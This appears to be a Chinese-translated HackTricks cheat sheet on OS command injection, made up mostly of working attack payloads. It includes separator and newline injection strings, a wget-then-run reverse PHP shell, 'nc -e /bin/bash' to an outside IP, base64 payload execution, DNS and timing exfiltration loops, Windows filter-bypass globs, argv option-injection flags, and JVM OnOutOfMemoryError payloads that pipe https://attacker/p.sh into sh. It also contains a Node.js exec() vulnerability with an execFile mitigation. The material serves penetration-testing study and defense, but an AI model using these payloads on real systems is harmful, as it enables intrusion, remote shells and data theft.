Command Injection
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
command Injection 是什么?
一个 command injection 允许攻击者在托管应用的服务器上执行任意操作系统命令。因此,应用及其所有数据可能被完全攻破。执行这些命令通常使攻击者获得对应用环境和底层系统的未授权访问或控制。
上下文
取决于 你的输入被注入的位置,在命令之前你可能需要终止被引号包围的上下文(使用 " 或 ')。
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
限制 绕过
如果你试图执行 在 linux 机器内的任意命令,你会有兴趣阅读关于这些 绕过:
示例
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
参数
以下是可能容易受到 code injection 和类似 RCE 漏洞影响的前 25 个参数(来自 link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
提取数据:char by char
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS based data exfiltration
基于来自 https://github.com/HoLyVieR/dnsbin 的工具,也托管在 dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
在线工具,用于检查基于 DNS 的 data exfiltration:
- dnsbin.zhack.ca
- pingb.in
Filtering bypass
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec 与 execFile
在审计 JavaScript/TypeScript 后端时,你经常会遇到 Node.js child_process API。
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec() 会产生一个 shell (/bin/sh -c),因此任何对 shell 有特殊含义的字符(反引号、;、&&、|、$()、…)在将用户输入连接到字符串中时都会导致 command injection。
缓解措施: 使用 execFile()(或不带 shell 选项的 spawn()),并将 每个参数作为独立的数组元素 提供,这样就不会涉及 shell:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos ≤ 1.7.0-0794 可通过一个未经认证的 WebSocket 事件被利用,该事件将由攻击者控制的数据放入 id_user,随后该值被嵌入到 exec() 调用中,达成 RCE(Pwn2Own Ireland 2024)。
Argument/Option injection via leading hyphen (argv, no shell metacharacters)
并非所有注入都需要 shell 元字符。如果应用将不受信任的字符串作为参数传递给系统工具(即便是通过 execve/execFile 并且没有 shell),许多程序仍会把以 - 或 -- 开头的参数解析为选项。这样攻击者就可以切换模式、改变输出路径或触发危险行为,而无需进入 shell。
典型出现场景:
- Embedded web UIs/CGI handlers that build commands like
ping <user>,tcpdump -i <iface> -w <file>,curl <url>, etc. - Centralized CGI routers (e.g.,
/cgi-bin/<something>.cgiwith a selector parameter liketopicurl=<handler>) where multiple handlers reuse the same weak validator.
可尝试的手法:
- 提供以
-/--开头的值,让下游工具将其当作标志来消费。 - 滥用会改变行为或写文件的标志,例如:
ping:-f/-c 100000用于压测设备(DoS)curl:-o /tmp/x用于写入任意路径,-K <url>用于加载攻击者控制的配置tcpdump:-G 1 -W 1 -z /path/script.sh在不安全的包装器中实现轮转后执行
- 如果程序支持
--end-of-options,尝试绕过那些在错误位置预置--的简单防护。
Generic PoC shapes against centralized CGI dispatchers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
JVM 诊断回调以保证执行
任何允许你注入 JVM 命令行参数(_JAVA_OPTIONS、启动器配置文件、桌面 agent 中的 AdditionalJavaArguments 字段等)的原语,都可以在不修改应用字节码的情况下被转换成可靠的 RCE:
- 通过缩小 metaspace 或 heap 强制产生确定性崩溃:
-XX:MaxMetaspaceSize=16m(或很小的-Xmx)。这能保证即使在早期引导阶段也会出现OutOfMemoryError。 - 附加错误钩子:
-XX:OnOutOfMemoryError="<cmd>"或-XX:OnError="<cmd>"会在 JVM 中止时执行任意操作系统命令。 - 可选地添加
-XX:+CrashOnOutOfMemoryError以避免恢复尝试,保持 payload 为一次性。
示例有效载荷:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
因为这些诊断信息由 JVM 本身解析,所以不需要 shell 元字符,命令以与启动器相同的权限级别运行。转发用户提供的 JVM flags 的 Desktop IPC 漏洞(参见 Localhost WebSocket abuse)因此会直接导致 OS 命令执行。
暴力破解检测列表
参考资料
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives – Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
- When WebSockets Lead to RCE in CurseForge
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


